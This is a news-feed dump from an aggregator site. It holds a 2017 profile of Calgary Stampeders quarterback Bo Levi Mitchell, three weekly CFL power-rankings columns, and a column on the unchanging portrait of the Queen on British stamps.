The beginning of Bo in the Canadian Football League can be traced back to one pivotal play five years ago at BC Place Stadium, during the 2012 West Final.

The Stampeders were the underdogs against the BC Lions and had a 24-16 lead late in the third quarter. John Hufnagel was the coach. Dave Dickenson was calling the offensive plays.

The Stamps were facing a third down and one situation when Dickenson turned to Hufnagel and asked if they wanted to call a play set up for Mitchell. Huff, as many refer to him, didn’t blink.

Mitchell was the third-string quarterback and hadn’t thrown a pass in the CFL at that point.

With 4:28 left in the third quarter and the Stamps on the Lions 42-yard line, Mitchell settled in for the play.

“I had one of the fastest guys out there in Mo Price so when I did the play action and started coming across I was supposed to set up but I felt defensive end pressure, so I continued to roll and put the ball out there for him.”

Mitchell can remember every moment of that play. He threw a 41-yard strike to Maurice Price and set the Stamps up on the one-yard line. Hufnagel left him in to punch the ball into the end zone. Except, it didn’t go as planned on the first try.

“I tried to run a wide sweep and reached out and [Lions’ linebacker Solomon] Elimimian broke two of my ribs. And then we had to go for it again on second down. Didn’t get it. Had to go for it on third down and I stretched my hands out and got it,” Mitchell said.

The Stamps went on to win the game and Mitchell prepared for the 100th Grey Cup with two broken ribs.

Top play ever

All these years later Mitchell calls it his “top play ever” in his football career. And this is a guy who has done a lot of winning and has made a lot of plays. He knew then how big that play was for how much trust his coaches were placing on him.

“I knew what it meant to my future career,” he said. “I’ve seen Huff lose confidence in guys for less.”

Hufnagel, now the Stamps general manager, says that play told him everything he needed to know about his future starting quarterback.

“He’s one of the reasons we’ve been so successful, said Hufnagel. “Winning football games is important to Bo.”

mitchel-bo-levi-2-112317

Mitchell is looking to avenge last year’s Grey Cup loss to the Ottawa Redblacks. (Devin Heroux/CBC Sports)

Dickenson agrees. “I think we all thought Bo was going to be a good football player, including Bo, but when he stepped into the game of that magnitude as the third-string quarterback and executed that play perfectly, I think we felt the game wasn’t too big for this kid.”

Hufnagel still remembers Mitchell’s first start in the CFL, 2013 against the Winnipeg Blue Bombers.

“He was 28 for 34 that day and didn’t turn the ball over and has never looked back.” 

Third time a charm?

On Sunday, Mitchell is leading the Stampeders into the team’s third Grey Cup appearance in four years.

In 2014, Calgary beat Hamilton 20-16 to win the championship, with Mitchell carrying the team that day. The 6’2″ Texan completed 25-of-34 passes and threw for 334 yards. He was named the Grey Cup MVP.

Last season Mitchell was named the league’s Most Outstanding Player and led the heavily-favoured Stampeders into the Grey Cup game against the Ottawa Redblacks. A botched play from the Ottawa two-yard line late in the game forced Calgary to kick a field goal and put the game into overtime. Henry Burris found some overtime magic to defeat Calgary, sending the Stamps and Mitchell into an off-season wondering what might have been.

Now it’s this third time for Mitchell.

“I’ve heard all the questions,” says the Calgary QB. “Do we have a chip on our shoulder? How is this year different? We just have to lock in and make plays.”

His head coach, who called the play that propelled Mitchell into all of this, believe his quarterback is ready to make some history.

“He has the best winning percentage in the history of the league,” Dickenson said. “He might actually play his best football in the big games.”

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]]> https://briefnews.eu/bo-levi-mitchell-looks-to-become-1st-stamps-qb-to-win-2-grey-cups/feed/ 0 CFL Power Rankings: Stamps lose top spot to rival Eskimos https://briefnews.eu/cfl-power-rankings-stamps-lose-top-spot-to-rival-eskimos/ https://briefnews.eu/cfl-power-rankings-stamps-lose-top-spot-to-rival-eskimos/#respond Tue, 31 Oct 2017 12:06:36 +0000 http://briefnews.eu/cfl-power-rankings-stamps-lose-top-spot-to-rival-eskimos/

Here’s how I rank the Canadian Football League teams heading into Week 20:

1. Edmonton Eskimos (up from 2)

  • Record: 11-6
  • Streak: Won 4
  • Next: At Saskatchewan

Green and Gold are in a unique position in if they can win this week (and Winnipeg loses) they’ll finish second, hosting a playoff game. Lose, however, and they’ll go east as the crossover team. No one wants to go east (West teams are 0-10 trying to make the championship that way), so the visit to Regina has big repercussions. Fortunately, this is the best team in the league right now, becoming healthier by the week and finding itself after that horrid six-game losing string. An impressive win over Calgary featured 392 yards net offence off 130 on the ground. Mike Reilly’s attack produced 11.2 yards per second-down play, a great number against anyone, but astounding against the Stampeder defence. So much rides on this last game and these guys look ready to face it.

Mike Reilly, Eskimos lick Stamps to stay in the hunt for 2nd place out West1:02

2. Calgary Stampeders (down from 1)

  • Record: 13-3-1
  • Streak: Lost 2
  • Next: Winnipeg

Missing group report. Family name: Calgary. Given name: Stampeders. Nicknames: White Stallions, Stamps. Age: 22-33 years. Height: 5-feet-10 to 6-feet-7. Weight: 180 to 330 pounds. Distinguishing marks: Red faces from having lost back to back for the first time in 103 games. Last seen playing well against B.C. on Sept. 16. John Hufnagel and Dave Dickenson are worried. Especially after losing to Edmonton this week and giving up almost 400 net yards.

3. Saskatchewan Roughriders (up from 4)

  • Record: 10-7
  • Streak: Won 2
  • Next: Edmonton 

When Chris Jones ran Toronto’s championship defence in 2012, one of his skills was identifying players near the end of their careers — or those who might have more to give than previously shown — and putting them in key spots. Robert McCune, Jordan Younger, Ahmad Carroll, would be examples. These skills were on display during this week’s game vs. Montreal as RB Trent Richardson, brought in from the NFL after two years without action, had 127 yards on 20 carries, and slot back Chad Owens had nine catches for 114 yards in just his second game of the season at the end of what’s been a brilliant career. They were needed as the attack struggled to finish, going 3-for-8 in the red zone. Usual WR Duron Carter played mostly defence, coming up with one catch and one defensive tackle. 

Alouettes fall to Roughriders, lose 10th straight game0:47

4. Winnipeg Blue Bombers (down from 3)

  • Record: 11-6
  • Streak: Lost 2
  • Next: At Calgary

Confirmed this week and suspected all season, is that the Big Blue have no chance without QB Matt Nichols. Depth at pivot should be dealt with in the off-season, but for now coach Mike O’Shea must keep his leader upright. Nichols went down with a non-contact calf problem in the second quarter vs. B.C., an injury he was apparently battling for a while, and his replacements were either not very good (Dom Davis, 7-for-12, 82 yards) or terrible (Dan LeFevour, 5-for-12, 42 yards and a 0.0 efficiency rating). Injuries are piling up, though if they can get receiver Darvin Adams back for the playoff game that would go a long way. And Justin Medlock went 7-for-7 in field goals, so he seems to be back. A win means second place and a week off for everyone to get healthy.

Jonathon Jennings, B.C. Lions maul Winnipeg Blue Bombers0:57

5. Ottawa Redblacks (unchanged)

  • Record: 8-9-1
  • Streak: Won 3
  • Next: Bye 

They did the job, won the game and it might not be the best thing that could have happened. Ottawa vaulted back into first place and kept alive a chance to host the East final. If Toronto loses this week, the Redblacks will have to wait more than three weeks for a one-game match to make the Grey Cup they are hosting. That’s too much. They opened poorly against Hamilton because of two weeks off, and by game’s end had five turnovers, most at crucial times. Then again, if Diontae Spencer can go off in the post-season the way he did vs. the Cats, it won’t matter. Spencer had 496 total yards (133 receiving, 363 returns), the best combined mark in CFL history, removing Albert Johnson’s 474 for Winnipeg 17 years ago. 

Powell’s late TD lifts Redblacks over Tiger-Cats1:07

6. Toronto Argonauts (unchanged, bye)

  • Record: 8-9
  • Streak: Won 1
  • Next: At B.C.

Last year’s ship sank under the weight of a 1-10 finish. This year’s could sail to first in the East and be just one win away from the Grey Cup game. A big turnaround indeed. There’s still a lot of work to do, however, if the Argos want 2017 to be memorable. First would be a win at B.C. on Saturday in the league’s final regular-season game. That requires two things: make sure the defence plays a full 60 minutes, and not 55; continue to put RB James Wilder Jr. in positions to pile up the yards from scrimmage, run or pass. Pull together, in other words. The offensive line has shown having a talented back behind it makes everyone better. You don’t have to pass block all day — exhausting in both mind and execution, as it leads to penalties. And they have this guy Ricky Ray at quarterback. 

7. B.C. Lions (up from 8)

  • Record: 7-10
  • Streak: Won 1
  • Next: Toronto

We’ve been saying all year: the only thing Jonathon Jennings needs is some help around him. This week against a wobbly Winnipeg defence, the Leo QB moved the offence along for 489 net yards, including 408 in the air. Five of those receptions were for 30 yards or more. B.C.’s stars were just that this week, including Chris Rainey, with 16 carries for 106 on the ground and another 89 by air, Bryan Burnham’s 152 catching and Manny Arceneaux with 101, were other keys. The Orange and Black kept the ball for 38:23, a total also credited to the defence. They saw Peg starter Matt Nichols leave, realized his backups were weak, and put the pressure on. Strange stat: Wally’s boys committed their first turnover in five games. You’d expect much worse from a seven-win club. 

8. Hamilton Tiger-Cats (down from 7) 

  • Record: 5-12
  • Streak: Lost 1
  • Next: Montreal

It matters not how well your offence plays, or how many turnovers you can cause (five against Ottawa), if your special teams are awful and you take too many penalties, there’s no chance. The Kitties allowed 375 yards in returns, wrecking solid outings by everyone else. The defence caused five giveaways, including three interceptions. It also allowed 471 net yards, most of it in scoring position because of the poor kick coverage. QB Jeremiah Masoli was right on his game, throwing for 438 yards and four TDs, while Brandon Banks had 13 snares for 193. Now, do you run Masoli out for the whole game next week, or do you split it with the former starter, and now backup, Zach Collaros? Do you do everything to win in order to take a good feeling into the off-season? Let’s see.

9. Montreal Alouettes (unchanged)

  • Record: 3-14
  • Streak: Lost 10
  • Next: At Hamilton 

If you cast around for anything positive to say about this year’s Skylarks, the eye falls on running back Tyrell Sutton, who has been nothing but reliable on the field. He carries, he catches, he blocks and he works hard. Montreal was awful again this week, but Sutton was able to move his totals to 1,155 rushing and catching over 2017. QB Darian Durant made his awaited return to Regina, where he played for 10 seasons and took the club to a Grey Cup in 2013. It would have been so much nicer if he had brought a team that could help. Durant was 9-for-20, 126 yards before leaving for backup Matt Shiltz, who wasn’t near as good as the week before, compiling just 47 yards on five completions. The Als also took 15 penalties, including nine on special teams. Awful. 

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]]> https://briefnews.eu/cfl-power-rankings-stamps-lose-top-spot-to-rival-eskimos/feed/ 0 CFL Power Rankings: Stamps still lead, but might lose Messam https://briefnews.eu/cfl-power-rankings-stamps-still-lead-but-might-lose-messam/ https://briefnews.eu/cfl-power-rankings-stamps-still-lead-but-might-lose-messam/#respond Tue, 19 Sep 2017 17:26:44 +0000 http://briefnews.eu/cfl-power-rankings-stamps-still-lead-but-might-lose-messam/

Here’s how I rank the Canadian Football League teams heading into Week 14:

  • Record: 10-1-1
  • Streak: Won 8
  • Next: At Saskatchewan

While the league falls all over itself trying to stop head-hunting (hint: suspensions, not fines), the Stamps work out whether running back Jerome Messam will be available this coming week. B.C.’s Micah Awe hit him in the back of the helmet, leading Messam afterwards to call him out on Twitter.

Yes, it was. The rule should be simple: lead with your helmet to a helmet, suspension. A week of strong defences included the White Stallions, who held the Lions to just 207 net yards, never allowing them to move the ball effectively. Alex Singleton is creating a legend; he had 11 tackles, making him the first in league history to have 10 or better three games in a row. Offence did enough to win. Note to league: We see you, editing controversial plays out of the recaps on your website.

  • Record: 8-3
  • Streak: Won 1
  • Next: vs. Ottawa

Such a busy week, almost forgot these guys were sitting around out there watching their head coach make it into the Canadian Football Hall of Fame. Good for Mike O’Shea, one of the finest Argonauts ever. Now back to work. Right now, that means making sure the offence keeps rolling along so you can keep the defence off the field as much as possible. Quarterback Matt Nichols operates an attack scoring 34.5 points per game, second best in the loop. They also are at 61.2 plays from scrimmage per (one play back of Ottawa), so possession time is excellent. Good thing, because the weekly stats from CFL guru Steve Daniel show this defence is struggling. Winnipeg is second last in average points allowed per game, eighth in yards allowed per game and last in quarterback pressures. Lots of squiggly numbers on the board.

  • Record: 6-5
  • Streak: Won 1
  • Next: vs. Calgary

Best thing for QB Brandon Bridge is for somebody to toss a wrench into the hype machine before it raises expectations to impossible heights. Starting Canadian pivots have been so rare since Russ Jackson retired in 1969 they’ve long been declared nearly extinct. Reasons? Two: the ratio rules haven’t been inviting and the QBs haven’t been good enough. Bridge looks to be good enough, after a three-touchdown performance against an inconsistent Hamilton defence, but his 21-of-31 completions for 237 yards and 17 first downs were below average for any top-level performer. And the Riders scored just seven points in the second half, leaving them two plays from possible overtime. If the hype machine runs away, some will be disappointed without 30 completions and 350 yards every game. Let the youngster grow.

Game Wrap: Canadian QB Brandon Bridge leads Roughriders over Ticats2:28

Record: 6-6
Streak: Lost 1
Next: vs. Hamilton

QB Jonathon Jennings had a first half out of an old country music song — his offensive line left him and he kept seeing red trucks coming his way. With his blocking collapsing faster than a bad marriage, the pivot was left to his own devices and there wasn’t much there. The offence was out of tune all night, holding the ball for 28 minutes but not doing much with it. There were 77 yards rushing, 167 passing and no touchdowns. With four sacks allowed, the Calgary defensive seven spent more time in the B.C. backfield than its own. The defence played well, stopping the Stamps four out of five times in the red zone, holding QB Bo Levi Mitchell to just 16-of-31 for 240 yards. Solomon Elimimian had 11 tackles. They need what everyone does at times like this … a good ol’ dog. And some consistency.

Game Wrap: Stamps beat Lions for 8th-straight win1:13

Record: 5-7-1
Streak: Won 1
Next: At Winnipeg

Early returns say the prognosis on backup QB Drew Tate — in for Trevor Harris — is better than first believed, but he likely won’t play this week. His replacement Ryan Lindley, a former NFL pivot who had been out a year, seemed a good choice as the log rollers basically ran an old-style National Football League offence most of the game. They opened with a 15-play, eight-minute drive for a touchdown and did it again late in the contest for a field goal. RB William Powell carried the ball 25 times for 144 yards in a crushing ball control outing. Long-ago Washington Redskins coach George Allen would have beamed. Defence gave up 151 net yards and 11 points …. outstanding. A trade could be in the offing for a QB. Edmonton for James Franklin? He’s been rumoured to be going everywhere, so why not?

Game Wrap: Redblacks run over Alouettes, take top spot in East1:37

  • Record: 7-5
  • Streak: Lost 5
  • Next: Bye

Down at the intersection of deep concern and sheer panic, Eskimos fans are hoping this club can simply blow the stop sign and keep going. Coming down the hallway to the dressing room after the Toronto loss, they looked either shocked or angry, depending on the sweater number. Shocked they’ve lost five after seven straight wins, and angry at pass interference/illegal contact fouls that never seem to go their way (note to Commissioner Ambrosie: Dump replay on passing plays before your fans rush the barricades). Hard to be surprised at this defeat when you give up 429 net yards, a 125-yard missed field goal return TD and 231 yards on the ground, including a 76-yard scamper that left the running back untouched. Getting through comes down to coaching and internal leadership.

  • Record: 5-7
  • Streak: Won 1
  • Next: vs. Montreal

When QB Ricky Ray was crushed on the game’s second play from scrimmage, fumbled, and it led to an Edmonton touchdown, one would be forgiven for thinking another shaky outing from the offensive line was ahead. Hah, wrong, you old fart. Under the microscope all season for it’s inability to protect the team’s most valuable asset, the front five came through gangbusters against Edmonton, drive blocking for 231 yards on the ground and pass blocking for 226. They did allow two other sacks, but just four quarterback pressures as Ray had the time to create something. James Wilder Jr. was sensational; his 190 on the ground and 67 receiving added up to the fourth-best day by an Argos running back in the 144-year history of the club. If the O-Line is strong, this is a dangerous team going forward.

Game Wrap: Argos hold on for win over Edmonton2:00

  • Record: 2-9
  • Streak: Lost 1
  • Next: At B.C.

One-yard line, zeros on the clock, Hamilton QB Jeremiah Masoli was told to stand five yards back in the shotgun. Two yards behind him was RB C.J. Gable. Masoli threw a ground ball to a prostrate receiver and the chance at a comeback versus the Riders, and a three-game winning streak, was gone. We’re big fans of a pivot under centre and a dive by him or the running back, as Seattle didn’t do in the 2015 Super Bowl. Still, there are good signs in the Hammer after a season of lost dreams, broken hearts and blah, blah, blah. New coach June Jones has these guys playing with some confidence. Masoli (28-of-48, 328 yards, TD, two picks) struggled at times but he showed a lot of guts in the late going. And his O-line allowed zero sacks. This club can upset a few apple carts and an ice cream truck the rest of the way.

Record: 3-9
Streak: Lost 5
Next: At Toronto

You have four mid-season coaching changes in five years. You have an ownership that tends to panic. You have a starting QB in Darian Durant with a great career behind him whose confidence is so shot he started 0-for-6 against Ottawa and was replaced. This could go on for pages, but the point is made. When your passing stats (83 yards) equal your rushing stats (83) and both are under 100, there is cause for the 22,596 who came out on a hot, sunny day to be disgruntled. The Larks had the ball for 19 minutes, partly because the offence was awful, partly because the defence couldn’t get the ball back from an Ottawa attack using its second- and third-string pivots. GM and now coach Kavis Reed has to do the Chris Jones from last year in Regina and use the time left to find some folks who can play.

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]]> https://briefnews.eu/cfl-power-rankings-stamps-still-lead-but-might-lose-messam/feed/ 0 CFL Power Rankings: Eskimos claim top spot from Stamps https://briefnews.eu/cfl-power-rankings-eskimos-claim-top-spot-from-stamps/ https://briefnews.eu/cfl-power-rankings-eskimos-claim-top-spot-from-stamps/#respond Wed, 19 Jul 2017 03:24:23 +0000 http://briefnews.eu/cfl-power-rankings-eskimos-claim-top-spot-from-stamps/

Malcolm Kelly breaks down the balance of power in the Canadian Football League.

1. Edmonton Eskimos (up from 2)

  • Record: 3-0
  • Streak: Won 3
  • Next: At Hamilton

The topsy-turvy early season finds a new frontrunner after Week 4. Before a boisterous 36,260 (the 50-50 draw was a record $ 436,000 payout — can somebody please buy me a ticket), the Green and Gold built up 348 net yards, scoring both on offence and defence. Travon Van came in at running back for John White, who is out for the year, and contributed 103 yards, including three carries of better than 10. Receiver Brandon Zylstra, on his way to stardom, caught 10 passes for 108 yards, 45 of them after the catch. Coaches love “on the other hand” as it gives them things to grumble about the next week — Eskies were 1-3 in the red zone, settling for three field goals with just a single major. They’ll work on that.

Edmonton stays perfect with win over Ottawa1:05

2. B.C. Lions (up from 3)

  • Record: 3-1
  • Streak: Won 3
  • Next: Winnipeg

QB Travis Lulay put down the spear he’s been carrying for Jonathon Jennings, retook centre stage in the starring role and brought the house to despair at Hamilton. Jennings was hurt on the first play from scrimmage and after a bumpy start in the first quarter, the experienced Lulay threw for a career-high 436 yards and three TDs, though with two picks. The only thing he didn’t do was sing the theme from Cats. That yardage was the most by a QB in relief going back to 1950. Also in the spotlight was receiver Bryan Burnham, who made a sensational catch for a major while falling backward with a defender on top of him. However, the defence allowed the Kitties 361 yards in the air and that’s too much. Wally’s Men won all three games on their long Eastern road trip. Would be nice if the fans show up this week.

Game Wrap: Lions put on a show in win over Tiger-Cats1:37

3. Calgary Stampeders (down from 1)

  • Record: 2-1-1
  • Streak: Lost 1
  • Next: Saskatchewan

QB Bo Mitchell’s run of 19 straight regular-season games without a loss came to an end as the Stamps dropped one at a wet Montreal. That’s five years in a row they haven’t won in Quebec. Why they lost this time is easy to figure out– they weren’t good enough for 60 minutes. Calgary lost its star running back near the half when Jerome Messam fumbled, chased the man who recovered it into the end zone, and then ripped the helmet off Chip Cox following a collision and was tossed. There were too many defensive errors. The offence was erratic. Mitchell threw for 379 yards, but much of that was on the wrong side of the field. A running game would have helped, as the Stamps had just 28 yards on the ground, while the defence allowed 143 by the Larks.

4. Winnipeg Blue Bombers (up from 7)

  • Record: 2-1
  • Streak: Won 1
  • Next: At B.C.

Big Blue found a win at home on a night that combined survival and opportunity into a pair of points. This Survivor episode featured terrible return coverage (344 yards allowed), and a second quarter where the defence bent into a pretzel on five straight Toronto drives, but would not allow the majors that could have ended this early. Opportunity knocked through a 104-yard kick return TD by Ryan Lankford to start the game, a poor flag on what would have been an Argo return touchdown (costing a fan $ 1 million dollars), and a tremendous rush that kept pressure on the opposing pivot all night. Those defenders allowed zero offensive scores. QB Matt Nichols was steady, protected, had a good running game, and produced 322 yards net. Good job.

5. Montreal Alouettes (up from 8)

  • Record: 2-2
  • Streak: Won 1
  • Next: At Ottawa

There are these often ignored athletes who stand either behind or next to the quarterback whose existence has been denied by some league coaches. It’s the running back — a fast, strong guy who can gain yards on the ground. One of them is Tyrell Sutton, who carried 17 times for 85 yards (of 143 team rushing overall) in an upset of Calgary. More importantly, he had seven opportunities over the final two Larks drives and was the offensive key to this big victory. Add a defence that played strong in the first half, sagged in the third quarter and then tightened up again and you had an effort that reminded one of the glory days in the late 1970s. QB Darian Durant threw for 296 yards, two early picks and a key touchdown when his veteran presence was needed.

Game Wrap: Alouettes hand Stampeders first loss of season1:22

6. Saskatchewan Roughriders (unchanged – bye)

  • Record: 1-2
  • Streak: Won 1
  • Next: At Calgary

Big stories in Regina so far have been the glittering new stadium and the reliable old quarterback. This is Kevin Glenn’s third go-around with the Riders, going back 17 years to his rookie season in 2001. He’s been with the Bombers, Cats, Stampeders, Redblacks, Lions, Riders again, Alouettes, Bombers again, and now back on the prairie. In three games, Glenn is second in league completion percentage and third in quarterback rating. And the team is second in average points scored per game. On defence, Chris Jones’s unit is right in the middle of the league. Penalties are also way down. Now it has to reflect in the wins column, not helped this week as they head into Calgary to play a thoroughly annoyed Stamps side.

7. Toronto Argonauts (down from 4)

  • Record: 2-2
  • Streak: Lost 1
  • Next: Ottawa

QB Ricky Ray had his offence moving well in the middle minutes of the loss to Winnipeg, quickly eating up yards and maneuvering into scoring range on five straight possessions. Result: five field goals. And a loss. Yes, a bad call on a kick return wiped out six, but they also dropped the ball on consecutive plays right after that. Ray did all of this with the Bomber rush on top of him (O-Line allowed two sacks, eight pressures on a guy they cannot afford to have injured). Bomber adjustments, especially on the corners, shut the attack down completely in the second half. Note to the new commish: protect your players from egregious head shots. Ray took a vicious elbow from Peg’s Cory Johnson at game’s end, no flag. Welcome returner Martese Jackson, who had 339 yards on the night.

Game Wrap: Argonauts fall to .500 after loss to Blue Bombers1:53

8. Ottawa Redblacks (down from 5)

  • Record: 0-3-1
  • Streak: Winless in 4
  • Next: Montreal/At Toronto

QB Trevor Harris tweeted the day after this week’s loss to Edmonton: “We will get this done for you guys … We appreciate all the positivity and love.” Right now, he needs it. Harris took over as full-time No. 1 this year and it’s been tough. With 284 yards passing the night was statistically all right, and that last drive for a TD was great. But Harris also threw a bad pass behind an outlet receiver in the second quarter resulting in a fumbled lateral and a score the other way. There were also times he looked to be aiming rather than throwing. Not the time to panic, RB fans (I’ll tell you when), though a tough schedule has them with two games in six days this week, both in the division. The defence played its best game of the year.

9. Hamilton Tiger-Cats (unchanged)                         

  • Record: 0-3
  • Streak: Lost 3
  • Next: Edmonton

Why do the Kitty Kats insist on making things so hard at the beginning of each season? The last five years they’ve stumbled out of the cage, and they can’t keep doing that. A poor defensive secondary effort in the home opener vs. B.C. this week leaves the Black and Gold winless with a tough schedule ahead featuring unbeaten Edmonton twice, and Calgary. QB Zach Collaros produced enough offence (361 yards passing, plus a shocking 81 on the ground from a team that hates running) but the corners and defensive backs let the side down again. Personnel? A problem with assignments? Something has to change because Eskimos’ Mike Reilly and Stamps’ Bo Mitchell will rip these guys apart without fixes. Can’t count on the rest of the East waiting around for Hamilton to catch up.

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]]> https://briefnews.eu/cfl-power-rankings-eskimos-claim-top-spot-from-stamps/feed/ 0 ICONIC: The same portrait of the Queen has been on our stamps for 50 years https://briefnews.eu/iconic-the-same-portrait-of-the-queen-has-been-on-our-stamps-for-50-years/ https://briefnews.eu/iconic-the-same-portrait-of-the-queen-has-been-on-our-stamps-for-50-years/#respond Sat, 01 Jul 2017 07:13:21 +0000 http://briefnews.eu/iconic-the-same-portrait-of-the-queen-has-been-on-our-stamps-for-50-years/

The Queen on stamp ALAMY/GETTY

The Queen’s image on stamps has remained untouched for 50 years

The Queen is still on her throne at 91, for which we are thankful, and she is still on postage stamps – though on them she is not 91 but 40 at most, a woman in her prime.

That image has remained untouched for 50 years, heedless of the passage of time. 

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You can imagine young people, including her grandchildren and great-grandchildren, looking at it and asking: “Who’s that?” Everybody does it.

Actors and actresses certainly, journalists (including this one) and people on dating sites use photographs of themselves that roll back the years. But this is rather different.

It’s an image that has been reprinted 220 billion times, surely the most reproduced portrait in history.

We don’t look at stamps very closely, we don’t even lick them these days but it is hard to believe that this image’s sheer omni presence doesn’t have a subliminal effect on us, giving a sense of continuity and serenity.

Certainly that’s the intention. Portrait is perhaps not the right word, it is more like an icon: the crown says royalty, the youthful image suggesting eternity and the whole thing says unmistakably “Great Britain”. 

Arnold Machin GETTY

6th March 1967: Arnold Machin OBE with a plaster cast of his profile of the Queen for use on stamps

This is the only country that doesn’t put its name on stamps, never has done. Since we invented the penny postage stamp in 1840 the monarch’s head has said it all.

During the general election campaign Jeremy Paxman, no longer a serious political interviewer more a Basil Fawlty tribute act, angrily barked at Jeremy Corbyn that as he was a republican why wasn’t the abolition of the monarchy in the Labour Party manifesto.

Corbyn calmly replied: “It isn’t in there because we’re not going to do it.” Corbyn’s mentor Tony Benn was a republican too.

His attitude to the Queen was “off with her head” – at least as far as stamps were concerned.

In 1964, just 39 years old and bouncing with new ideas, he became postmaster general in Harold Wilson’s government.

The Royal Mail’s policy on stamps had hardly changed in 120 years. Basically it was an image of the monarch and nothing else. 

These stamps are known in philatelic circles as “definitives”.

There had been extremely few commemorative or pictorial stamps ever – such vulgarities should be left to lesser nations! Benn wanted to change that: lovely and interesting things could be created and there was good business to be done.

Millions of stamp collectors and souvenir hunters the world over would fall upon them.

Oh yes, and not to mince matters, he and his collaborator, outstanding illustrator David Gentleman, felt the Queen’s head got in the way (in more senses than one).

Gentleman designed some lovely stamps with no Queen’s head. What followed was something between an interesting initiative and what Blackadder’s Baldrick calls “a cunning plan”.

Armed with a black box of Gentleman’s designs he went to Buckingham Palace.

Having bowed, shaken hands and sat down he said it had been the accepted view that “by the Queen’s personal command” she should not even be shown stamp designs without her head on it. 

Sat, June 24, 2017

Queen Elizabeth II making her Royal visits in her many colourful and elegant outfits.

Queen Elizabeth II arrives during day five of Royal Ascot at Ascot Racecourse

PA

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Queen Elizabeth II arrives during day five of Royal Ascot at Ascot Racecourse

Was that so? In his diary account of the meeting Benn recorded: “The Queen was clearly embarrassed and indicated she had no personal feelings at all.

I said I knew she wouldn’t and that I knew this was all a misunderstanding but that it was rather ridiculous that there should be these lovely stamps available which she wasn’t even allowed to see…” Reader, do you really think the Queen was “embarrassed”?

And isn’t it interesting that Benn writes “allowed to see” rather than “willing to see”? After a little more chat he opened his black box and spread a dozen enlarged designs on the floor. They were Battle of Britain stamps with no Queen’s head on them.

She looked at them and the two of them talked. The meeting had gone on half an hour longer than planned. Benn left fi lled with optimism. When he told Harold Wilson how well it had gone and how he had got down on the floor, all Wilson said was: “Did she get down on the fl oor with you?” Understanding the wiles of royalty was clearly not Benn’s strongest suit.

Soon the Palace and the prime minister agreed that the postmaster general should not commission even experimental designs without the Queen’s head and the press was not to see stamps without her image.

That remains true to this day. In 2011, with the possibility of the Royal Mail being sold to foreigners, Parliament passed a law stating that British stamps must always include the monarch’s head.

An 1840 Penny Black stampGETTY

An 1840 Penny Black stamp, displayed at Sotheby’s auction house on November 18, 2010

In 1967 the photographic portrait of the Queen that had been used since 1952 was replaced with a profi le by sculptor Arnold Machin, the one we still have on today’s unillustrated “definitive” stamps. It had been two years in the making.

On the endless stream of commemorative issues – there were 14 last year alone ranging from Shakespeare to Mr Men and Little Miss – there is a different Queen: the very romantic silhouette with a wreath in her hair. 

It’s the Queen in 1952. She was 26. On occasion it has been suggested that the Machin profile should be replaced by something more up-to-date.

The Queen is reported as saying it would have to be something very special. In other words: no. That can’t be vanity on her part. The pictures on banknotes don’t do her any favours.

Maybe there is no secret. Perhaps it is simply tradition.

As with so much else the only figure with whom to compare and contrast the Queen is her great-great-grandmother Victoria.

From 1840, when the first Penny Black was issued until her death 61 years later, the Victoria on the stamps remained unchanged. It was an image of her as a young girl, made by engraver William Wyon, based on a sitting he had with her when she was 15 years old.

The QueenGETTY

The Queen reportedly said it would have to be something very special to change the iconic image

A philatelic journal in 1879 called it “the mythic effigy”, a rather good description of both queens’ heads which together account for 126 of the last 177 years of British stamps. Of the four intervening kings, one abdicated and the other three smoked themselves to death. All of them combined didn’t reign as long as either queen.

They came and went, like the Manchester United managers between the reigns of Sir Matt Busby and Sir Alex Ferguson. There is something wonderfully tactful about our stamps.

They do not display the Queen’s increasing age nor their own escalating price. In 1952 a stamp cost tuppence ha’penny, in 1968, when first and second class were introduced, first class cost five old pennies. Since 1989 they have simply said 1st or 2nd class with no mention of price, inviting the thrifty (or nerdish) to stock up against future rises.

First class would always be first class. The cost of first class then was 20p. Now it’s 65p. So 1967 – the year when Sergeant Pepper’s Lonely Hearts Club Band was released, Charles de Gaulle again vetoed Britain joining the European Economic Community, the first Scottish National Party MP was elected and that profile of the Queen went on to the stamps.

What’s changed?

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